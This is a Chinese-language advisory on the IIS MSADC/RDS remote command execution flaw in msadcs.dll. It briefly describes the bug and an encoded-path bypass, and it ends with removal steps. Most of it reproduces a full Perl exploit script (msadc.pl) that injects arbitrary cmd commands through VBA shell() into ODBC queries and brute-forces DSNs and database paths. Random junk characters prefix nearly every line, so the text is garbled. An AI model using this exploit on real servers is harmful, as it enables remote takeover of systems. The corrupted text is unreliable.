IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
@D^y<7( EA|*|o4) 涉及程序:
%RG kXOgp Microsoft NT server
cjHo?m' QUVwO
m 描述:
q6f+tdg= 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
3haYb` W~aVwO'( 详细:
^](sCE7 如果你没有时间读详细内容的话,就删除:
Zk__CgS# c:\Program Files\Common Files\System\Msadc\msadcs.dll
/T]2ZX> 有关的安全问题就没有了。
d^mw&F)S / @X! 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
U2 5'd$TC 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
0=# :x()e 关于利用ODBC远程漏洞的描述,请参看:
cKdn3 2Y4 rE;*MqYt& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm yhJH3< v{Al>v}}n 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
O
$'#8 http://www.microsoft.com/security/bulletins/MS99-025faq.asp 9cp-Rw<tI Urj8v2k 这里不再论述。
Xt^ldW c [sydl 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
UBzX%:A Z,)4(#b = /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!?Gt5$f 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
?OW
4J0B' \ ,ARYwd u n\!K #将下面这段保存为txt文件,然后: "perl -x 文件名"
+%7v#CY
& M(KsLu1
#!perl
9Bvi2
3 #
4='Xhm # MSADC/RDS 'usage' (aka exploit) script
<qT[ #
?1*Ka # by rain.forest.puppy
0_q8t!<xJw #
y^zII5|s # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
=e](eA; # beta test and find errors!
;{EIx*<d }(A`aB_ use Socket; use Getopt::Std;
yG)xsY V getopts("e:vd:h:XR", \%args);
Xyy;BO: i'OFun+-, print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
px8988X a$r-
U_? if (!defined $args{h} && !defined $args{R}) {
$nF|n+m print qq~
.A<G$ db
? Usage: msadc.pl -h <host> { -d <delay> -X -v }
/2l&D~d" -h <host> = host you want to scan (ip or domain)
Z8E-(@`q5Q -d <seconds> = delay between calls, default 1 second
WHeyE3}p -X = dump Index Server path table, if available
h/ 5|3 -v = verbose
#%N v\g; -e = external dictionary file for step 5
^MIF+/bQ Z^E>)!t Or a -R will resume a command session
#V&98 F 3.@"GS#"[ ~; exit;}
m0QE
S 6!zBLIYFI $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
TwlX'iI_; if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
vT~ey if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
i)y8MlC{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3n;>k9{ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
]xC#XYE:dy if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
w\,N}'G ]<L(r,@, if (!defined $args{R}){ $ret = &has_msadc;
d-c<dS+R die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
s|F}Abx,^ V5:ad print "Please type the NT commandline you want to run (cmd /c assumed):\n"
uonCD8 . "cmd /c ";
#(swVo:+E $in=<STDIN>; chomp $in;
]8q#@%v} $command="cmd /c " . $in ;
fh_+M"Y0` Z,zkm{9* if (defined $args{R}) {&load; exit;}
-]el_:H p 4_j>JPv5 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Ak3cE_*Y/ &try_btcustmr;
|j$r@ GT.1,E,Vw print "\nStep 2: Trying to make our own DSN...";
"uCO?hv0 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2[|52+zhc (xpt_]Q!H print "\nStep 3: Trying known DSNs...";
j9gn7LS &known_dsn;
RO+ jVY~H- !Gob `# r print "\nStep 4: Trying known .mdbs...";
DW(
/[jo\ &known_mdb;
Gyx4}pV 8;6j if (defined $args{e}){
YI+ clh;%9 print "\nStep 5: Trying dictionary of DSN names...";
n*A?>NV &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
lXtsnQOOK fGZ56eH: print "Sorry Charley...maybe next time?\n";
$ UNC0(4 exit;
Z(j"\d!y mR["xDHD ##############################################################################
zh{,.c E7' sub sendraw { # ripped and modded from whisker
~c,CngeL0 sleep($delay); # it's a DoS on the server! At least on mine...
WwsH7X) my ($pstr)=@_;
5(zdM)Y7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Az7
]qb die("Socket problems\n");
[)+wke9 if(connect(S,pack "SnA4x8",2,80,$target)){
)ifjK6* select(S); $|=1;
1aI&jdJk print $pstr; my @in=<S>;
8Y4mTW select(STDOUT); close(S);
IOA2/WQu return @in;
@C-03`JWuK } else { die("Can't connect...\n"); }}
f=k_U[b4> oyB
gF\ ##############################################################################
\sMe2OL#z dGyrzuPJ sub make_header { # make the HTTP request
Y5CDdn my $msadc=<<EOT
Um}f7^fp^l POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
SR$ 'JGfp User-Agent: ACTIVEDATA
kmUL^vF Host: $ip
Brtsig,4 Content-Length: $clen
X+1Mv Connection: Keep-Alive
Rh}}8 sv V7b;qC' ADCClientVersion:01.06
beaSvhPU Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Y-UXr8 rFUR9O.{E --!ADM!ROX!YOUR!WORLD!
5JHWt<n{P Content-Type: application/x-varg
KomMzG: Content-Length: $reqlen
6hMKAk @ ]40xKF EOT
4O{G^; ; $msadc=~s/\n/\r\n/g;
[~PR\qm return $msadc;}
tr5j<O h@E7wp1'~ ##############################################################################
VKkvf"X (3Q$)0t sub make_req { # make the RDS request
nY7gST my ($switch, $p1, $p2)=@_;
cZJ5L>ox my $req=""; my $t1, $t2, $query, $dsn;
d~AL4~} g<@Q)p*ow if ($switch==1){ # this is the btcustmr.mdb query
#dKy{Q3he $query="Select * from Customers where City=" . make_shell();
/IN#1I!K $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
R#T
6] $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
43x2BW&& 4Q/{lqG elsif ($switch==2){ # this is general make table query
tKS[ $query="create table AZZ (B int, C varchar(10))";
3dSb!q0&N $dsn="$p1";}
P1AC2<H c<, LE@V elsif ($switch==3){ # this is general exploit table query
wZZ~!"O& $query="select * from AZZ where C=" . make_shell();
.%y'q!? $dsn="$p1";}
41R6V>e@9J LPBa!fq elsif ($switch==4){ # attempt to hork file info from index server
m~
5"q%; $query="select path from scope()";
$[}EV(#y $dsn="Provider=MSIDXS;";}
7nNNc[d*= ]=VRct
" elsif ($switch==5){ # bad query
0^R, d M $query="select";
0PqI^|! $dsn="$p1";}
s;YbZ*oaMe 76"4Q! $t1= make_unicode($query);
hf]m'5pb $t2= make_unicode($dsn);
{g#4E0.A! $req = "\x02\x00\x03\x00";
]+46r!r| $req.= "\x08\x00" . pack ("S1", length($t1));
D
HT^.UM28 $req.= "\x00\x00" . $t1 ;
I ^m $req.= "\x08\x00" . pack ("S1", length($t2));
l 9
wO x $req.= "\x00\x00" . $t2 ;
O>pv/Ns $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
'UUj(1
f return $req;}
W^H3 =hZ (De{r| ##############################################################################
HO['o{>BL ~x!up9 sub make_shell { # this makes the shell() statement
n8F~!|lQ0 return "'|shell(\"$command\")|'";}
bq9w@O 2?GMKd) ##############################################################################
Hc=QSP Vn4wk>b}$2 sub make_unicode { # quick little function to convert to unicode
ZaU8eg7 my ($in)=@_; my $out;
R?O)vLmd for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Oo@o$\+v return $out;}
7M~sol[* fCx( ##############################################################################
jtlRom} \$ipnQv sub rdo_success { # checks for RDO return success (this is kludge)
}1e4u{ my (@in) = @_; my $base=content_start(@in);
g/JF(nkP if($in[$base]=~/multipart\/mixed/){
<M@-|K"Eb return 1 if( $in[$base+10]=~/^\x09\x00/ );}
@]vY[O!&; return 0;}
q9_$&9 IGcq*mR= ##############################################################################
zk
FX[-'O 8rH6L:]S sub make_dsn { # this makes a DSN for us
WN+i 3hC my @drives=("c","d","e","f");
M/quswn1 print "\nMaking DSN: ";
A}SGw.3 foreach $drive (@drives) {
uy's eJ print "$drive: ";
g w([08 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
iCF},W+ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
2Qp}f^ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
? +L, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
)"pvF8JR%3 return 0 if $2 eq "404"; # not found/doesn't exist
Q+=pP'cV if($2 eq "200") {
b$7]cE
foreach $line (@results) {
&bW,N return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
E(P
6s;LZ } return 0;}
b<00 %Z z}ar$}T ##############################################################################
f\<r1 'd+fGx7i sub verify_exists {
ki9&AFs2X my ($page)=@_;
b$,Hlh,^ my @results=sendraw("GET $page HTTP/1.0\n\n");
^
~Eh+ return $results[0];}
r%?-MGc C7FQc{ ##############################################################################
1IA1; js<d"m* sub try_btcustmr {
,Y/B49 my @drives=("c","d","e","f");
Ai<
beUS my @dirs=("winnt","winnt35","winnt351","win","windows");
f1MRmp-f' :+ ,;5 foreach $dir (@dirs) {
"l56?@- x print "$dir -> "; # fun status so you can see progress
'`P%;/z foreach $drive (@drives) {
N&NBn( print "$drive: "; # ditto
JpC'(N $reqlen=length( make_req(1,$drive,$dir) ) - 28;
w(Z ?j%b $reqlenlen=length( "$reqlen" );
32[}@f2q $clen= 206 + $reqlenlen + $reqlen;
KdR4<qVV} a{]=BY oL my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\X8b!41 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*y*tI} else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
zFq%[ X W`;;fJe ##############################################################################
kh
W. zeHF-_{ sub odbc_error {
r%PWv0z_c my (@in)=@_; my $base;
Jj-\Eb? my $base = content_start(@in);
5?k5J\+ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
<k:I2LF_ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I\.|\^ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5naFn m7% $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:<qe2Z5k return $in[$base+4].$in[$base+5].$in[$base+6];}
*,\"}x* print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
@V%\Gspv print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
qT$k%( $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
:\OSHs<M q-JTGCFl ##############################################################################
#d-({blo< o+a= sub verbose {
~rb0G*R> my ($in)=@_;
P8d return if !$verbose;
V.GM$ print STDOUT "\n$in\n";}
SyvoN,;Q m-AF&( ;K ##############################################################################
hQn?qJy%W DK IH{:L7 sub save {
C? zS}ob my ($p1, $p2, $p3, $p4)=@_;
ic2D$`M open(OUT, ">rds.save") || print "Problem saving parameters...\n";
lMFR_g?r print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
NI V}hf YF close OUT;}
z#tIa G^c,i5}w ##############################################################################
I=0c\ U} hd)Jq'MCS sub load {
,;g%/6X my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
'}Fe&% open(IN,"<rds.save") || die("Couldn't open rds.save\n");
WX&IQ@ @p=<IN>; close(IN);
T~[:oil $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
hFIh<m=C?Y $target= inet_aton($ip) || die("inet_aton problems");
cbJgeif print "Resuming to $ip ...";
`|'w]rj:"+ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
`nPdZ. if($p[1]==1) {
H/D=$)3op $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
F!vrvlD`s $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
j6qtR$l| my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
7V"?o if (rdo_success(@results)){print "Success!\n";}
W'./p"2g else { print "failed\n"; verbose(odbc_error(@results));}}
yYCS-rF> elsif ($p[1]==3){
7Nq<
o5 if(run_query("$p[3]")){
V[tebv! print "Success!\n";} else { print "failed\n"; }}
YdhTjvx elsif ($p[1]==4){
r[L.TX3Ah= if(run_query($drvst . "$p[3]")){
9Dx~!( print "Success!\n"; } else { print "failed\n"; }}
*qpu!z2m|| exit;}
u[GZ~L [3Q0KCZ0( ##############################################################################
Af|h*V4Xu -<g9) CV5 sub create_table {
(p{X.X+ my ($in)=@_;
)d3
09O $reqlen=length( make_req(2,$in,"") ) - 28;
,?GwA@~$k: $reqlenlen=length( "$reqlen" );
j
3<Ci {3 $clen= 206 + $reqlenlen + $reqlen;
]es|%j 2 my @results=sendraw(make_header() . make_req(2,$in,""));
dSGdK
$ XA return 1 if rdo_success(@results);
]\39# my $temp= odbc_error(@results); verbose($temp);
#/G!nN # return 1 if $temp=~/Table 'AZZ' already exists/;
~fXNj-'RW return 0;}
`^)`J lx`?n<-X ##############################################################################
_^<vp Cd%5XD^ sub known_dsn {
"hyfo,r # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
tiK M+
;C my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
bQaRl=:[: "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
6N@=*0kh- "banner", "banners", "ads", "ADCDemo", "ADCTest");
*l_a=[<[ '}hSh foreach $dSn (@dsns) {
\RDN_Z print ".";
u3h(EAH> next if (!is_access("DSN=$dSn"));
('z=/"(l if(create_table("DSN=$dSn")){
7Jb&~{DVk print "$dSn successful\n";
$[T~<I if(run_query("DSN=$dSn")){
$JFjR@j print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
2Io|? print "Something's borked. Use verbose next time\n";}}} print "\n";}
rc=E%Qv%? 392V\qtS ##############################################################################
7?fgcb3 zdP?HJ=F sub is_access {
e9p/y8gC my ($in)=@_;
: /5+p>Ep} $reqlen=length( make_req(5,$in,"") ) - 28;
MfQ0O?oBp $reqlenlen=length( "$reqlen" );
c&D+=
$clen= 206 + $reqlenlen + $reqlen;
<exCK*G my @results=sendraw(make_header() . make_req(5,$in,""));
voZaJ2ho/O my $temp= odbc_error(@results);
k=)U verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Sm/8VSY return 0;}
C
>OeULD Hca(2 ]T- ##############################################################################
!{&r|6 x.1=QF{! sub run_query {
=]@Bc
7@ my ($in)=@_;
!WyJ@pFU^ $reqlen=length( make_req(3,$in,"") ) - 28;
lO@-*m$
$reqlenlen=length( "$reqlen" );
qZ<n\Mt $clen= 206 + $reqlenlen + $reqlen;
(u?s@/e:`/ my @results=sendraw(make_header() . make_req(3,$in,""));
5 H._Q return 1 if rdo_success(@results);
6C$+D my $temp= odbc_error(@results); verbose($temp);
I gJu/{:y^ return 0;}
o#FctM'Z #hBqgG:> ##############################################################################
W8<QgpV* ,.Gp_BI sub known_mdb {
ir^d7CV, my @drives=("c","d","e","f","g");
'bfxQ76@sa my @dirs=("winnt","winnt35","winnt351","win","windows");
m0G"Aj my $dir, $drive, $mdb;
xbiprhdv my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
?"b __(3 wG O-Z']i # this is sparse, because I don't know of many
(CQ! &Z8 my @sysmdbs=( "\\catroot\\icatalog.mdb",
8i6iynR "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
1^k}GXsWmE "\\system32\\certmdb.mdb",
wo9R:kQ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
U'jmgHq c:${qY:! my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Wi$?k{C "\\cfusion\\cfapps\\forums\\forums_.mdb",
#7fOH
U8v "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
eGMw:H "\\cfusion\\cfapps\\security\\realm_.mdb",
$;g*s?F* "\\cfusion\\cfapps\\security\\data\\realm.mdb",
@#wG)TA "\\cfusion\\database\\cfexamples.mdb",
TrDTay "\\cfusion\\database\\cfsnippets.mdb",
iu{y.}? "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
}ll&EB "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0o/;cBH
"\\cfusion\\brighttiger\\database\\cleam.mdb",
#8d#Jw "\\cfusion\\database\\smpolicy.mdb",
k1[`2k:Hk "\\cfusion\\database\cypress.mdb",
z{.&sr>+v "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Fmn_fW6 "\\website\\cgi-win\\dbsample.mdb",
,>6mc=p "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Xk:x=4u& "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
$jk4H+H- ); #these are just
Ps!
\k%FUl foreach $drive (@drives) {
"P5,p"k:) foreach $dir (@dirs){
; <- f foreach $mdb (@sysmdbs) {
E:}s6l print ".";
:|l0x a if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
&*Z)[Bl print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
QKk7"2t| if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Sn97DCdk print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ddYb=L+_b } else { print "Something's borked. Use verbose next time\n"; }}}}}
p+I`xyk yFo8x[ foreach $drive (@drives) {
`34+~;;Jh foreach $mdb (@mdbs) {
k]4CN print ".";
Xk^<}Ep)c if(create_table($drv . $drive . $dir . $mdb)){
MDpx@.A, print "\n" . $drive . $dir . $mdb . " successful\n";
e{:
-N if(run_query($drv . $drive . $dir . $mdb)){
rp]H&5.* print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
/0L]Pf; } else { print "Something's borked. Use verbose next time\n"; }}}}
45+kwo0 }
Y(JZP\Tf_N \KEmfCx'n ##############################################################################
ziAn9/sT &sq q+&ao sub hork_idx {
j97c@ print "\nAttempting to dump Index Server tables...\n";
9dg+@FS}= print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
* se),CP!s $reqlen=length( make_req(4,"","") ) - 28;
q!d7Ms{q $reqlenlen=length( "$reqlen" );
Ob'[W;p)[w $clen= 206 + $reqlenlen + $reqlen;
?AQR\) P my @results=sendraw2(make_header() . make_req(4,"",""));
s4 Uk5< if (rdo_success(@results)){
xG%O^ my $max=@results; my $c; my %d;
7r3EMX\#Qm for($c=19; $c<$max; $c++){
N[=R$1\Z $results[$c]=~s/\x00//g;
q_6<}2m,U $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
9@(V!G $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
A*{V%7hs& $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
(
Qk*B $d{"$1$2"}="";}
%Y].i/".;P foreach $c (keys %d){ print "$c\n"; }
~RM_c } else {print "Index server doesn't seem to be installed.\n"; }}
&-.2P!t p6{8t} ##############################################################################
0bIhP,4&
v3/G.B@= sub dsn_dict {
:jWQev"/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
$T'lWD * while(<IN>){
^^*dHWHn< $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
b;e*`f8T3c next if (!is_access("DSN=$dSn"));
,3ivB8 if(create_table("DSN=$dSn")){
\H?r[]*c% print "$dSn successful\n";
P_c9v/ if(run_query("DSN=$dSn")){
XCZNvLG print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
x_KJCU print "Something's borked. Use verbose next time\n";}}}
}W"/h)q print "\n"; close(IN);}
~LN
{5zg xCiq;FFR ##############################################################################
]$WwPDZ RS[QZOoW} sub sendraw2 { # ripped and modded from whisker
n#5%{e> sleep($delay); # it's a DoS on the server! At least on mine...
)1!*N)$ my ($pstr)=@_;
I.}E#f/A' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
||kUi=5 die("Socket problems\n");
dX~$#-Ad86 if(connect(S,pack "SnA4x8",2,80,$target)){
U>
1v oc print "Connected. Getting data";
@ * *]o open(OUT,">raw.out"); my @in;
L Z#SX5N select(S); $|=1; print $pstr;
O9 [Dae{i while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
}EWPLJA close(OUT); select(STDOUT); close(S); return @in;
0)-yLfTn } else { die("Can't connect...\n"); }}
PzDekyl %FO#j 6 ##############################################################################
sM'%apM# N(^
q%eHp sub content_start { # this will take in the server headers
-|A`+1-R+ my (@in)=@_; my $c;
UB1/0o for ($c=1;$c<500;$c++) {
2i_k$- if($in[$c] =~/^\x0d\x0a/){
u IGeSd5B if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Z |CL:)h else { return $c+1; }}}
J PK(S~ return -1;} # it should never get here actually
g
O ;oM?| V0!$k.Wk ##############################################################################
6Z3L=j 6#/v:;bF sub funky {
xRM)f93@ my (@in)=@_; my $error=odbc_error(@in);
yJAz#~PO/ if($error=~/ADO could not find the specified provider/){
0'0GAh2 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
&!5S'J% exit;}
[GqQ6\ if($error=~/A Handler is required/){
+Q+>{HK print "\nServer has custom handler filters (they most likely are patched)\n";
e$ {Cf exit;}
V*w~Sr% if($error=~/specified Handler has denied Access/){
?m>!P@
M print "\nServer has custom handler filters (they most likely are patched)\n";
&;]KntxB exit;}}
Tweku}D7 nL@(|nJ[ ##############################################################################
OkaNVTB #.^A5`k sub has_msadc {
V*1hoC# my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
(!B1}5" my $base=content_start(@results);
<UC_QPA\ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
~ '/Yp8( return 0;}
{N2MskK `}Z`aK ########################
jZ\a:K? 84eqT[I' _8I\! 解决方案:
7uW=f kxT 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
}5qpiS"V9 2、移除web 目录: /msadc